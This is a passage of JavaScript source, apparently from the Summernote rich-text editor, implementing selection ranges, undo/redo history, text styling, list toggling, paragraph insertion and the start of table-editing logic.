                (dom.isVisiblePoint(point) && dom.isLeftEdgePoint(point) && isLeftToRight) ||
                (dom.isVisiblePoint(point) && dom.isBlock(point.node) && dom.isEmpty(point.node))) {
                return point;
            }
            // point on block's edge
            var block = dom.ancestor(point.node, dom.isBlock);
            if (((dom.isLeftEdgePointOf(point, block) || dom.isVoid(dom.prevPoint(point).node)) && !isLeftToRight) ||
                ((dom.isRightEdgePointOf(point, block) || dom.isVoid(dom.nextPoint(point).node)) && isLeftToRight)) {
                // returns point already on visible point
                if (dom.isVisiblePoint(point)) {
                    return point;
                }
                // reverse direction
                isLeftToRight = !isLeftToRight;
            }
            var nextPoint = isLeftToRight ? dom.nextPointUntil(dom.nextPoint(point), dom.isVisiblePoint)
                : dom.prevPointUntil(dom.prevPoint(point), dom.isVisiblePoint);
            return nextPoint || point;
        };
        var endPoint = getVisiblePoint(this.getEndPoint(), false);
        var startPoint = this.isCollapsed() ? endPoint : getVisiblePoint(this.getStartPoint(), true);
        return new WrappedRange(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset);
    };
    /**
     * returns matched nodes on range
     *
     * @param {Function} [pred] - predicate function
     * @param {Object} [options]
     * @param {Boolean} [options.includeAncestor]
     * @param {Boolean} [options.fullyContains]
     * @return {Node[]}
     */
    WrappedRange.prototype.nodes = function (pred, options) {
        pred = pred || func.ok;
        var includeAncestor = options && options.includeAncestor;
        var fullyContains = options && options.fullyContains;
        // TODO compare points and sort
        var startPoint = this.getStartPoint();
        var endPoint = this.getEndPoint();
        var nodes = [];
        var leftEdgeNodes = [];
        dom.walkPoint(startPoint, endPoint, function (point) {
            if (dom.isEditable(point.node)) {
                return;
            }
            var node;
            if (fullyContains) {
                if (dom.isLeftEdgePoint(point)) {
                    leftEdgeNodes.push(point.node);
                }
                if (dom.isRightEdgePoint(point) && lists.contains(leftEdgeNodes, point.node)) {
                    node = point.node;
                }
            }
            else if (includeAncestor) {
                node = dom.ancestor(point.node, pred);
            }
            else {
                node = point.node;
            }
            if (node && pred(node)) {
                nodes.push(node);
            }
        }, true);
        return lists.unique(nodes);
    };
    /**
     * returns commonAncestor of range
     * @return {Element} - commonAncestor
     */
    WrappedRange.prototype.commonAncestor = function () {
        return dom.commonAncestor(this.sc, this.ec);
    };
    /**
     * returns expanded range by pred
     *
     * @param {Function} pred - predicate function
     * @return {WrappedRange}
     */
    WrappedRange.prototype.expand = function (pred) {
        var startAncestor = dom.ancestor(this.sc, pred);
        var endAncestor = dom.ancestor(this.ec, pred);
        if (!startAncestor && !endAncestor) {
            return new WrappedRange(this.sc, this.so, this.ec, this.eo);
        }
        var boundaryPoints = this.getPoints();
        if (startAncestor) {
            boundaryPoints.sc = startAncestor;
            boundaryPoints.so = 0;
        }
        if (endAncestor) {
            boundaryPoints.ec = endAncestor;
            boundaryPoints.eo = dom.nodeLength(endAncestor);
        }
        return new WrappedRange(boundaryPoints.sc, boundaryPoints.so, boundaryPoints.ec, boundaryPoints.eo);
    };
    /**
     * @param {Boolean} isCollapseToStart
     * @return {WrappedRange}
     */
    WrappedRange.prototype.collapse = function (isCollapseToStart) {
        if (isCollapseToStart) {
            return new WrappedRange(this.sc, this.so, this.sc, this.so);
        }
        else {
            return new WrappedRange(this.ec, this.eo, this.ec, this.eo);
        }
    };
    /**
     * splitText on range
     */
    WrappedRange.prototype.splitText = function () {
        var isSameContainer = this.sc === this.ec;
        var boundaryPoints = this.getPoints();
        if (dom.isText(this.ec) && !dom.isEdgePoint(this.getEndPoint())) {
            this.ec.splitText(this.eo);
        }
        if (dom.isText(this.sc) && !dom.isEdgePoint(this.getStartPoint())) {
            boundaryPoints.sc = this.sc.splitText(this.so);
            boundaryPoints.so = 0;
            if (isSameContainer) {
                boundaryPoints.ec = boundaryPoints.sc;
                boundaryPoints.eo = this.eo - this.so;
            }
        }
        return new WrappedRange(boundaryPoints.sc, boundaryPoints.so, boundaryPoints.ec, boundaryPoints.eo);
    };
    /**
     * delete contents on range
     * @return {WrappedRange}
     */
    WrappedRange.prototype.deleteContents = function () {
        if (this.isCollapsed()) {
            return this;
        }
        var rng = this.splitText();
        var nodes = rng.nodes(null, {
            fullyContains: true
        });
        // find new cursor point
        var point = dom.prevPointUntil(rng.getStartPoint(), function (point) {
            return !lists.contains(nodes, point.node);
        });
        var emptyParents = [];
        $$1.each(nodes, function (idx, node) {
            // find empty parents
            var parent = node.parentNode;
            if (point.node !== parent && dom.nodeLength(parent) === 1) {
                emptyParents.push(parent);
            }
            dom.remove(node, false);
        });
        // remove empty parents
        $$1.each(emptyParents, function (idx, node) {
            dom.remove(node, false);
        });
        return new WrappedRange(point.node, point.offset, point.node, point.offset).normalize();
    };
    /**
     * makeIsOn: return isOn(pred) function
     */
    WrappedRange.prototype.makeIsOn = function (pred) {
        return function () {
            var ancestor = dom.ancestor(this.sc, pred);
            return !!ancestor && (ancestor === dom.ancestor(this.ec, pred));
        };
    };
    /**
     * @param {Function} pred
     * @return {Boolean}
     */
    WrappedRange.prototype.isLeftEdgeOf = function (pred) {
        if (!dom.isLeftEdgePoint(this.getStartPoint())) {
            return false;
        }
        var node = dom.ancestor(this.sc, pred);
        return node && dom.isLeftEdgeOf(this.sc, node);
    };
    /**
     * returns whether range was collapsed or not
     */
    WrappedRange.prototype.isCollapsed = function () {
        return this.sc === this.ec && this.so === this.eo;
    };
    /**
     * wrap inline nodes which children of body with paragraph
     *
     * @return {WrappedRange}
     */
    WrappedRange.prototype.wrapBodyInlineWithPara = function () {
        if (dom.isBodyContainer(this.sc) && dom.isEmpty(this.sc)) {
            this.sc.innerHTML = dom.emptyPara;
            return new WrappedRange(this.sc.firstChild, 0, this.sc.firstChild, 0);
        }
        /**
         * [workaround] firefox often create range on not visible point. so normalize here.
         *  - firefox: |<p>text</p>|
         *  - chrome: <p>|text|</p>
         */
        var rng = this.normalize();
        if (dom.isParaInline(this.sc) || dom.isPara(this.sc)) {
            return rng;
        }
        // find inline top ancestor
        var topAncestor;
        if (dom.isInline(rng.sc)) {
            var ancestors = dom.listAncestor(rng.sc, func.not(dom.isInline));
            topAncestor = lists.last(ancestors);
            if (!dom.isInline(topAncestor)) {
                topAncestor = ancestors[ancestors.length - 2] || rng.sc.childNodes[rng.so];
            }
        }
        else {
            topAncestor = rng.sc.childNodes[rng.so > 0 ? rng.so - 1 : 0];
        }
        // siblings not in paragraph
        var inlineSiblings = dom.listPrev(topAncestor, dom.isParaInline).reverse();
        inlineSiblings = inlineSiblings.concat(dom.listNext(topAncestor.nextSibling, dom.isParaInline));
        // wrap with paragraph
        if (inlineSiblings.length) {
            var para = dom.wrap(lists.head(inlineSiblings), 'p');
            dom.appendChildNodes(para, lists.tail(inlineSiblings));
        }
        return this.normalize();
    };
    /**
     * insert node at current cursor
     *
     * @param {Node} node
     * @return {Node}
     */
    WrappedRange.prototype.insertNode = function (node) {
        var rng = this.wrapBodyInlineWithPara().deleteContents();
        var info = dom.splitPoint(rng.getStartPoint(), dom.isInline(node));
        if (info.rightNode) {
            info.rightNode.parentNode.insertBefore(node, info.rightNode);
        }
        else {
            info.container.appendChild(node);
        }
        return node;
    };
    /**
     * insert html at current cursor
     */
    WrappedRange.prototype.pasteHTML = function (markup) {
        var contentsContainer = $$1('<div></div>').html(markup)[0];
        var childNodes = lists.from(contentsContainer.childNodes);
        var rng = this.wrapBodyInlineWithPara().deleteContents();
        return childNodes.reverse().map(function (childNode) {
            return rng.insertNode(childNode);
        }).reverse();
    };
    /**
     * returns text in range
     *
     * @return {String}
     */
    WrappedRange.prototype.toString = function () {
        var nativeRng = this.nativeRange();
        return env.isW3CRangeSupport ? nativeRng.toString() : nativeRng.text;
    };
    /**
     * returns range for word before cursor
     *
     * @param {Boolean} [findAfter] - find after cursor, default: false
     * @return {WrappedRange}
     */
    WrappedRange.prototype.getWordRange = function (findAfter) {
        var endPoint = this.getEndPoint();
        if (!dom.isCharPoint(endPoint)) {
            return this;
        }
        var startPoint = dom.prevPointUntil(endPoint, function (point) {
            return !dom.isCharPoint(point);
        });
        if (findAfter) {
            endPoint = dom.nextPointUntil(endPoint, function (point) {
                return !dom.isCharPoint(point);
            });
        }
        return new WrappedRange(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset);
    };
    /**
     * create offsetPath bookmark
     *
     * @param {Node} editable
     */
    WrappedRange.prototype.bookmark = function (editable) {
        return {
            s: {
                path: dom.makeOffsetPath(editable, this.sc),
                offset: this.so
            },
            e: {
                path: dom.makeOffsetPath(editable, this.ec),
                offset: this.eo
            }
        };
    };
    /**
     * create offsetPath bookmark base on paragraph
     *
     * @param {Node[]} paras
     */
    WrappedRange.prototype.paraBookmark = function (paras) {
        return {
            s: {
                path: lists.tail(dom.makeOffsetPath(lists.head(paras), this.sc)),
                offset: this.so
            },
            e: {
                path: lists.tail(dom.makeOffsetPath(lists.last(paras), this.ec)),
                offset: this.eo
            }
        };
    };
    /**
     * getClientRects
     * @return {Rect[]}
     */
    WrappedRange.prototype.getClientRects = function () {
        var nativeRng = this.nativeRange();
        return nativeRng.getClientRects();
    };
    return WrappedRange;
}());
/**
 * Data structure
 *  * BoundaryPoint: a point of dom tree
 *  * BoundaryPoints: two boundaryPoints corresponding to the start and the end of the Range
 *
 * See to http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Position
 */
var range = {
    /**
     * create Range Object From arguments or Browser Selection
     *
     * @param {Node} sc - start container
     * @param {Number} so - start offset
     * @param {Node} ec - end container
     * @param {Number} eo - end offset
     * @return {WrappedRange}
     */
    create: function (sc, so, ec, eo) {
        if (arguments.length === 4) {
            return new WrappedRange(sc, so, ec, eo);
        }
        else if (arguments.length === 2) {
            ec = sc;
            eo = so;
            return new WrappedRange(sc, so, ec, eo);
        }
        else {
            var wrappedRange = this.createFromSelection();
            if (!wrappedRange && arguments.length === 1) {
                wrappedRange = this.createFromNode(arguments[0]);
                return wrappedRange.collapse(dom.emptyPara === arguments[0].innerHTML);
            }
            return wrappedRange;
        }
    },
    createFromSelection: function () {
        var sc, so, ec, eo;
        if (env.isW3CRangeSupport) {
            var selection = document.getSelection();
            if (!selection || selection.rangeCount === 0) {
                return null;
            }
            else if (dom.isBody(selection.anchorNode)) {
                // Firefox: returns entire body as range on initialization.
                // We won't never need it.
                return null;
            }
            var nativeRng = selection.getRangeAt(0);
            sc = nativeRng.startContainer;
            so = nativeRng.startOffset;
            ec = nativeRng.endContainer;
            eo = nativeRng.endOffset;
        }
        else {
            var textRange = document.selection.createRange();
            var textRangeEnd = textRange.duplicate();
            textRangeEnd.collapse(false);
            var textRangeStart = textRange;
            textRangeStart.collapse(true);
            var startPoint = textRangeToPoint(textRangeStart, true);
            var endPoint = textRangeToPoint(textRangeEnd, false);
            // same visible point case: range was collapsed.
            if (dom.isText(startPoint.node) && dom.isLeftEdgePoint(startPoint) &&
                dom.isTextNode(endPoint.node) && dom.isRightEdgePoint(endPoint) &&
                endPoint.node.nextSibling === startPoint.node) {
                startPoint = endPoint;
            }
            sc = startPoint.cont;
            so = startPoint.offset;
            ec = endPoint.cont;
            eo = endPoint.offset;
        }
        return new WrappedRange(sc, so, ec, eo);
    },
    /**
     * @method
     *
     * create WrappedRange from node
     *
     * @param {Node} node
     * @return {WrappedRange}
     */
    createFromNode: function (node) {
        var sc = node;
        var so = 0;
        var ec = node;
        var eo = dom.nodeLength(ec);
        // browsers can't target a picture or void node
        if (dom.isVoid(sc)) {
            so = dom.listPrev(sc).length - 1;
            sc = sc.parentNode;
        }
        if (dom.isBR(ec)) {
            eo = dom.listPrev(ec).length - 1;
            ec = ec.parentNode;
        }
        else if (dom.isVoid(ec)) {
            eo = dom.listPrev(ec).length;
            ec = ec.parentNode;
        }
        return this.create(sc, so, ec, eo);
    },
    /**
     * create WrappedRange from node after position
     *
     * @param {Node} node
     * @return {WrappedRange}
     */
    createFromNodeBefore: function (node) {
        return this.createFromNode(node).collapse(true);
    },
    /**
     * create WrappedRange from node after position
     *
     * @param {Node} node
     * @return {WrappedRange}
     */
    createFromNodeAfter: function (node) {
        return this.createFromNode(node).collapse();
    },
    /**
     * @method
     *
     * create WrappedRange from bookmark
     *
     * @param {Node} editable
     * @param {Object} bookmark
     * @return {WrappedRange}
     */
    createFromBookmark: function (editable, bookmark) {
        var sc = dom.fromOffsetPath(editable, bookmark.s.path);
        var so = bookmark.s.offset;
        var ec = dom.fromOffsetPath(editable, bookmark.e.path);
        var eo = bookmark.e.offset;
        return new WrappedRange(sc, so, ec, eo);
    },
    /**
     * @method
     *
     * create WrappedRange from paraBookmark
     *
     * @param {Object} bookmark
     * @param {Node[]} paras
     * @return {WrappedRange}
     */
    createFromParaBookmark: function (bookmark, paras) {
        var so = bookmark.s.offset;
        var eo = bookmark.e.offset;
        var sc = dom.fromOffsetPath(lists.head(paras), bookmark.s.path);
        var ec = dom.fromOffsetPath(lists.last(paras), bookmark.e.path);
        return new WrappedRange(sc, so, ec, eo);
    }
};

/**
 * @method readFileAsDataURL
 *
 * read contents of file as representing URL
 *
 * @param {File} file
 * @return {Promise} - then: dataUrl
 */
function readFileAsDataURL(file) {
    return $$1.Deferred(function (deferred) {
        $$1.extend(new FileReader(), {
            onload: function (e) {
                var dataURL = e.target.result;
                deferred.resolve(dataURL);
            },
            onerror: function (err) {
                deferred.reject(err);
            }
        }).readAsDataURL(file);
    }).promise();
}
/**
 * @method createImage
 *
 * create `<image>` from url string
 *
 * @param {String} url
 * @return {Promise} - then: $image
 */
function createImage(url) {
    return $$1.Deferred(function (deferred) {
        var $img = $$1('<img>');
        $img.one('load', function () {
            $img.off('error abort');
            deferred.resolve($img);
        }).one('error abort', function () {
            $img.off('load').detach();
            deferred.reject($img);
        }).css({
            display: 'none'
        }).appendTo(document.body).attr('src', url);
    }).promise();
}

var History = /** @class */ (function () {
    function History($editable) {
        this.stack = [];
        this.stackOffset = -1;
        this.$editable = $editable;
        this.editable = $editable[0];
    }
    History.prototype.makeSnapshot = function () {
        var rng = range.create(this.editable);
        var emptyBookmark = { s: { path: [], offset: 0 }, e: { path: [], offset: 0 } };
        return {
            contents: this.$editable.html(),
            bookmark: (rng ? rng.bookmark(this.editable) : emptyBookmark)
        };
    };
    History.prototype.applySnapshot = function (snapshot) {
        if (snapshot.contents !== null) {
            this.$editable.html(snapshot.contents);
        }
        if (snapshot.bookmark !== null) {
            range.createFromBookmark(this.editable, snapshot.bookmark).select();
        }
    };
    /**
    * @method rewind
    * Rewinds the history stack back to the first snapshot taken.
    * Leaves the stack intact, so that "Redo" can still be used.
    */
    History.prototype.rewind = function () {
        // Create snap shot if not yet recorded
        if (this.$editable.html() !== this.stack[this.stackOffset].contents) {
            this.recordUndo();
        }
        // Return to the first available snapshot.
        this.stackOffset = 0;
        // Apply that snapshot.
        this.applySnapshot(this.stack[this.stackOffset]);
    };
    /**
    * @method reset
    * Resets the history stack completely; reverting to an empty editor.
    */
    History.prototype.reset = function () {
        // Clear the stack.
        this.stack = [];
        // Restore stackOffset to its original value.
        this.stackOffset = -1;
        // Clear the editable area.
        this.$editable.html('');
        // Record our first snapshot (of nothing).
        this.recordUndo();
    };
    /**
     * undo
     */
    History.prototype.undo = function () {
        // Create snap shot if not yet recorded
        if (this.$editable.html() !== this.stack[this.stackOffset].contents) {
            this.recordUndo();
        }
        if (this.stackOffset > 0) {
            this.stackOffset--;
            this.applySnapshot(this.stack[this.stackOffset]);
        }
    };
    /**
     * redo
     */
    History.prototype.redo = function () {
        if (this.stack.length - 1 > this.stackOffset) {
            this.stackOffset++;
            this.applySnapshot(this.stack[this.stackOffset]);
        }
    };
    /**
     * recorded undo
     */
    History.prototype.recordUndo = function () {
        this.stackOffset++;
        // Wash out stack after stackOffset
        if (this.stack.length > this.stackOffset) {
            this.stack = this.stack.slice(0, this.stackOffset);
        }
        // Create new snapshot and push it to the end
        this.stack.push(this.makeSnapshot());
    };
    return History;
}());

var Style = /** @class */ (function () {
    function Style() {
    }
    /**
     * @method jQueryCSS
     *
     * [workaround] for old jQuery
     * passing an array of style properties to .css()
     * will result in an object of property-value pairs.
     * (compability with version < 1.9)
     *
     * @private
     * @param  {jQuery} $obj
     * @param  {Array} propertyNames - An array of one or more CSS properties.
     * @return {Object}
     */
    Style.prototype.jQueryCSS = function ($obj, propertyNames) {
        if (env.jqueryVersion < 1.9) {
            var result_1 = {};
            $$1.each(propertyNames, function (idx, propertyName) {
                result_1[propertyName] = $obj.css(propertyName);
            });
            return result_1;
        }
        return $obj.css(propertyNames);
    };
    /**
     * returns style object from node
     *
     * @param {jQuery} $node
     * @return {Object}
     */
    Style.prototype.fromNode = function ($node) {
        var properties = ['font-family', 'font-size', 'text-align', 'list-style-type', 'line-height'];
        var styleInfo = this.jQueryCSS($node, properties) || {};
        styleInfo['font-size'] = parseInt(styleInfo['font-size'], 10);
        return styleInfo;
    };
    /**
     * paragraph level style
     *
     * @param {WrappedRange} rng
     * @param {Object} styleInfo
     */
    Style.prototype.stylePara = function (rng, styleInfo) {
        $$1.each(rng.nodes(dom.isPara, {
            includeAncestor: true
        }), function (idx, para) {
            $$1(para).css(styleInfo);
        });
    };
    /**
     * insert and returns styleNodes on range.
     *
     * @param {WrappedRange} rng
     * @param {Object} [options] - options for styleNodes
     * @param {String} [options.nodeName] - default: `SPAN`
     * @param {Boolean} [options.expandClosestSibling] - default: `false`
     * @param {Boolean} [options.onlyPartialContains] - default: `false`
     * @return {Node[]}
     */
    Style.prototype.styleNodes = function (rng, options) {
        rng = rng.splitText();
        var nodeName = (options && options.nodeName) || 'SPAN';
        var expandClosestSibling = !!(options && options.expandClosestSibling);
        var onlyPartialContains = !!(options && options.onlyPartialContains);
        if (rng.isCollapsed()) {
            return [rng.insertNode(dom.create(nodeName))];
        }
        var pred = dom.makePredByNodeName(nodeName);
        var nodes = rng.nodes(dom.isText, {
            fullyContains: true
        }).map(function (text) {
            return dom.singleChildAncestor(text, pred) || dom.wrap(text, nodeName);
        });
        if (expandClosestSibling) {
            if (onlyPartialContains) {
                var nodesInRange_1 = rng.nodes();
                // compose with partial contains predication
                pred = func.and(pred, function (node) {
                    return lists.contains(nodesInRange_1, node);
                });
            }
            return nodes.map(function (node) {
                var siblings = dom.withClosestSiblings(node, pred);
                var head = lists.head(siblings);
                var tails = lists.tail(siblings);
                $$1.each(tails, function (idx, elem) {
                    dom.appendChildNodes(head, elem.childNodes);
                    dom.remove(elem);
                });
                return lists.head(siblings);
            });
        }
        else {
            return nodes;
        }
    };
    /**
     * get current style on cursor
     *
     * @param {WrappedRange} rng
     * @return {Object} - object contains style properties.
     */
    Style.prototype.current = function (rng) {
        var $cont = $$1(!dom.isElement(rng.sc) ? rng.sc.parentNode : rng.sc);
        var styleInfo = this.fromNode($cont);
        // document.queryCommandState for toggle state
        // [workaround] prevent Firefox nsresult: "0x80004005 (NS_ERROR_FAILURE)"
        try {
            styleInfo = $$1.extend(styleInfo, {
                'font-bold': document.queryCommandState('bold') ? 'bold' : 'normal',
                'font-italic': document.queryCommandState('italic') ? 'italic' : 'normal',
                'font-underline': document.queryCommandState('underline') ? 'underline' : 'normal',
                'font-subscript': document.queryCommandState('subscript') ? 'subscript' : 'normal',
                'font-superscript': document.queryCommandState('superscript') ? 'superscript' : 'normal',
                'font-strikethrough': document.queryCommandState('strikethrough') ? 'strikethrough' : 'normal',
                'font-family': document.queryCommandValue('fontname') || styleInfo['font-family']
            });
        }
        catch (e) { }
        // list-style-type to list-style(unordered, ordered)
        if (!rng.isOnList()) {
            styleInfo['list-style'] = 'none';
        }
        else {
            var orderedTypes = ['circle', 'disc', 'disc-leading-zero', 'square'];
            var isUnordered = $$1.inArray(styleInfo['list-style-type'], orderedTypes) > -1;
            styleInfo['list-style'] = isUnordered ? 'unordered' : 'ordered';
        }
        var para = dom.ancestor(rng.sc, dom.isPara);
        if (para && para.style['line-height']) {
            styleInfo['line-height'] = para.style.lineHeight;
        }
        else {
            var lineHeight = parseInt(styleInfo['line-height'], 10) / parseInt(styleInfo['font-size'], 10);
            styleInfo['line-height'] = lineHeight.toFixed(1);
        }
        styleInfo.anchor = rng.isOnAnchor() && dom.ancestor(rng.sc, dom.isAnchor);
        styleInfo.ancestors = dom.listAncestor(rng.sc, dom.isEditable);
        styleInfo.range = rng;
        return styleInfo;
    };
    return Style;
}());

var Bullet = /** @class */ (function () {
    function Bullet() {
    }
    /**
     * toggle ordered list
     */
    Bullet.prototype.insertOrderedList = function (editable) {
        this.toggleList('OL', editable);
    };
    /**
     * toggle unordered list
     */
    Bullet.prototype.insertUnorderedList = function (editable) {
        this.toggleList('UL', editable);
    };
    /**
     * indent
     */
    Bullet.prototype.indent = function (editable) {
        var _this = this;
        var rng = range.create(editable).wrapBodyInlineWithPara();
        var paras = rng.nodes(dom.isPara, { includeAncestor: true });
        var clustereds = lists.clusterBy(paras, func.peq2('parentNode'));
        $$1.each(clustereds, function (idx, paras) {
            var head = lists.head(paras);
            if (dom.isLi(head)) {
                _this.wrapList(paras, head.parentNode.nodeName);
            }
            else {
                $$1.each(paras, function (idx, para) {
                    $$1(para).css('marginLeft', function (idx, val) {
                        return (parseInt(val, 10) || 0) + 25;
                    });
                });
            }
        });
        rng.select();
    };
    /**
     * outdent
     */
    Bullet.prototype.outdent = function (editable) {
        var _this = this;
        var rng = range.create(editable).wrapBodyInlineWithPara();
        var paras = rng.nodes(dom.isPara, { includeAncestor: true });
        var clustereds = lists.clusterBy(paras, func.peq2('parentNode'));
        $$1.each(clustereds, function (idx, paras) {
            var head = lists.head(paras);
            if (dom.isLi(head)) {
                _this.releaseList([paras]);
            }
            else {
                $$1.each(paras, function (idx, para) {
                    $$1(para).css('marginLeft', function (idx, val) {
                        val = (parseInt(val, 10) || 0);
                        return val > 25 ? val - 25 : '';
                    });
                });
            }
        });
        rng.select();
    };
    /**
     * toggle list
     *
     * @param {String} listName - OL or UL
     */
    Bullet.prototype.toggleList = function (listName, editable) {
        var _this = this;
        var rng = range.create(editable).wrapBodyInlineWithPara();
        var paras = rng.nodes(dom.isPara, { includeAncestor: true });
        var bookmark = rng.paraBookmark(paras);
        var clustereds = lists.clusterBy(paras, func.peq2('parentNode'));
        // paragraph to list
        if (lists.find(paras, dom.isPurePara)) {
            var wrappedParas_1 = [];
            $$1.each(clustereds, function (idx, paras) {
                wrappedParas_1 = wrappedParas_1.concat(_this.wrapList(paras, listName));
            });
            paras = wrappedParas_1;
            // list to paragraph or change list style
        }
        else {
            var diffLists = rng.nodes(dom.isList, {
                includeAncestor: true
            }).filter(function (listNode) {
                return !$$1.nodeName(listNode, listName);
            });
            if (diffLists.length) {
                $$1.each(diffLists, function (idx, listNode) {
                    dom.replace(listNode, listName);
                });
            }
            else {
                paras = this.releaseList(clustereds, true);
            }
        }
        range.createFromParaBookmark(bookmark, paras).select();
    };
    /**
     * @param {Node[]} paras
     * @param {String} listName
     * @return {Node[]}
     */
    Bullet.prototype.wrapList = function (paras, listName) {
        var head = lists.head(paras);
        var last = lists.last(paras);
        var prevList = dom.isList(head.previousSibling) && head.previousSibling;
        var nextList = dom.isList(last.nextSibling) && last.nextSibling;
        var listNode = prevList || dom.insertAfter(dom.create(listName || 'UL'), last);
        // P to LI
        paras = paras.map(function (para) {
            return dom.isPurePara(para) ? dom.replace(para, 'LI') : para;
        });
        // append to list(<ul>, <ol>)
        dom.appendChildNodes(listNode, paras);
        if (nextList) {
            dom.appendChildNodes(listNode, lists.from(nextList.childNodes));
            dom.remove(nextList);
        }
        return paras;
    };
    /**
     * @method releaseList
     *
     * @param {Array[]} clustereds
     * @param {Boolean} isEscapseToBody
     * @return {Node[]}
     */
    Bullet.prototype.releaseList = function (clustereds, isEscapseToBody) {
        var releasedParas = [];
        $$1.each(clustereds, function (idx, paras) {
            var head = lists.head(paras);
            var last = lists.last(paras);
            var headList = isEscapseToBody ? dom.lastAncestor(head, dom.isList) : head.parentNode;
            var lastList = headList.childNodes.length > 1 ? dom.splitTree(headList, {
                node: last.parentNode,
                offset: dom.position(last) + 1
            }, {
                isSkipPaddingBlankHTML: true
            }) : null;
            var middleList = dom.splitTree(headList, {
                node: head.parentNode,
                offset: dom.position(head)
            }, {
                isSkipPaddingBlankHTML: true
            });
            paras = isEscapseToBody ? dom.listDescendant(middleList, dom.isLi)
                : lists.from(middleList.childNodes).filter(dom.isLi);
            // LI to P
            if (isEscapseToBody || !dom.isList(headList.parentNode)) {
                paras = paras.map(function (para) {
                    return dom.replace(para, 'P');
                });
            }
            $$1.each(lists.from(paras).reverse(), function (idx, para) {
                dom.insertAfter(para, headList);
            });
            // remove empty lists
            var rootLists = lists.compact([headList, middleList, lastList]);
            $$1.each(rootLists, function (idx, rootList) {
                var listNodes = [rootList].concat(dom.listDescendant(rootList, dom.isList));
                $$1.each(listNodes.reverse(), function (idx, listNode) {
                    if (!dom.nodeLength(listNode)) {
                        dom.remove(listNode, true);
                    }
                });
            });
            releasedParas = releasedParas.concat(paras);
        });
        return releasedParas;
    };
    return Bullet;
}());

/**
 * @class editing.Typing
 *
 * Typing
 *
 */
var Typing = /** @class */ (function () {
    function Typing() {
        // a Bullet instance to toggle lists off
        this.bullet = new Bullet();
    }
    /**
     * insert tab
     *
     * @param {WrappedRange} rng
     * @param {Number} tabsize
     */
    Typing.prototype.insertTab = function (rng, tabsize) {
        var tab = dom.createText(new Array(tabsize + 1).join(dom.NBSP_CHAR));
        rng = rng.deleteContents();
        rng.insertNode(tab, true);
        rng = range.create(tab, tabsize);
        rng.select();
    };
    /**
     * insert paragraph
     */
    Typing.prototype.insertParagraph = function (editable) {
        var rng = range.create(editable);
        // deleteContents on range.
        rng = rng.deleteContents();
        // Wrap range if it needs to be wrapped by paragraph
        rng = rng.wrapBodyInlineWithPara();
        // finding paragraph
        var splitRoot = dom.ancestor(rng.sc, dom.isPara);
        var nextPara;
        // on paragraph: split paragraph
        if (splitRoot) {
            // if it is an empty line with li
            if (dom.isEmpty(splitRoot) && dom.isLi(splitRoot)) {
                // toogle UL/OL and escape
                this.bullet.toggleList(splitRoot.parentNode.nodeName);
                return;
                // if it is an empty line with para on blockquote
            }
            else if (dom.isEmpty(splitRoot) && dom.isPara(splitRoot) && dom.isBlockquote(splitRoot.parentNode)) {
                // escape blockquote
                dom.insertAfter(splitRoot, splitRoot.parentNode);
                nextPara = splitRoot;
                // if new line has content (not a line break)
            }
            else {
                nextPara = dom.splitTree(splitRoot, rng.getStartPoint());
                var emptyAnchors = dom.listDescendant(splitRoot, dom.isEmptyAnchor);
                emptyAnchors = emptyAnchors.concat(dom.listDescendant(nextPara, dom.isEmptyAnchor));
                $$1.each(emptyAnchors, function (idx, anchor) {
                    dom.remove(anchor);
                });
                // replace empty heading, pre or custom-made styleTag with P tag
                if ((dom.isHeading(nextPara) || dom.isPre(nextPara) || dom.isCustomStyleTag(nextPara)) && dom.isEmpty(nextPara)) {
                    nextPara = dom.replace(nextPara, 'p');
                }
            }
            // no paragraph: insert empty paragraph
        }
        else {
            var next = rng.sc.childNodes[rng.so];
            nextPara = $$1(dom.emptyPara)[0];
            if (next) {
                rng.sc.insertBefore(nextPara, next);
            }
            else {
                rng.sc.appendChild(nextPara);
            }
        }
        range.create(nextPara, 0).normalize().select().scrollIntoView(editable);
    };
    return Typing;
}());

/**
 * @class Create a virtual table to create what actions to do in change.
 * @param {object} startPoint Cell selected to apply change.
 * @param {enum} where  Where change will be applied Row or Col. Use enum: TableResultAction.where
 * @param {enum} action Action to be applied. Use enum: TableResultAction.requestAction
 * @param {object} domTable Dom element of table to make changes.
 */
var TableResultAction = function (startPoint, where, action, domTable) {
    var _startPoint = { 'colPos': 0, 'rowPos': 0 };
    var _virtualTable = [];
    var _actionCellList = [];
    /// ///////////////////////////////////////////
    // Private functions
    /// ///////////////////////////////////////////
    /**
     * Set the startPoint of action.
     */
    function setStartPoint() {
        if (!startPoint || !startPoint.tagName || (startPoint.tagName.toLowerCase() !== 'td' && startPoint.tagName.toLowerCase() !== 'th')) {
            console.error('Impossible to identify start Cell point.', startPoint);
            return;
        }
        _startPoint.colPos = startPoint.cellIndex;
        if (!startPoint.parentElement || !startPoint.parentElement.tagName || startPoint.parentElement.tagName.toLowerCase() !== 'tr') {
            console.error('Impossible to identify start Row point.', startPoint);
            return;
        }
        _startPoint.rowPos = startPoint.parentElement.rowIndex;
    }
    /**
     * Define virtual table position info object.
     *
     * @param {int} rowIndex Index position in line of virtual table.
     * @param {int} cellIndex Index position in column of virtual table.
     * @param {object} baseRow Row affected by this position.
     * @param {object} baseCell Cell affected by this position.
     * @param {bool} isSpan Inform if it is an span cell/row.
     */
    function setVirtualTablePosition(rowIndex, cellIndex, baseRow, baseCell, isRowSpan, isColSpan, isVirtualCell) {
        var objPosition = {
            'baseRow': baseRow,
            'baseCell': baseCell,
            'isRowSpan': isRowSpan,
            'isColSpan': isColSpan,
            'isVirtual': isVirtualCell
        };
        if (!_virtualTable[rowIndex]) {
            _virtualTable[rowIndex] = [];
        }
        _virtualTable[rowIndex][cellIndex] = objPosition;
    }
    /**
     * Create action cell object.
     *
     * @param {object} virtualTableCellObj Object of specific position on virtual table.
     * @param {enum} resultAction Action to be applied in that item.
     */
    function getActionCell(virtualTableCellObj, resultAction, virtualRowPosition, virtualColPosition) {
        return {
            'baseCell': virtualTableCellObj.baseCell,
            'action': resultAction,
            'virtualTable': {
                'rowIndex': virtualRowPosition,
                'cellIndex': virtualColPosition
            }
        };
    }
    /**
     * Recover free index of row to append Cell.
     *
     * @param {int} rowIndex Index of row to find free space.
     * @param {int} cellIndex Index of cell to find free space in table.
     */
    function recoverCellIndex(rowIndex, cellIndex) {
        if (!_virtualTable[rowIndex]) {
            return cellIndex;
        }
        if (!_virtualTable[rowIndex][cellIndex]) {
            return cellIndex;
        }
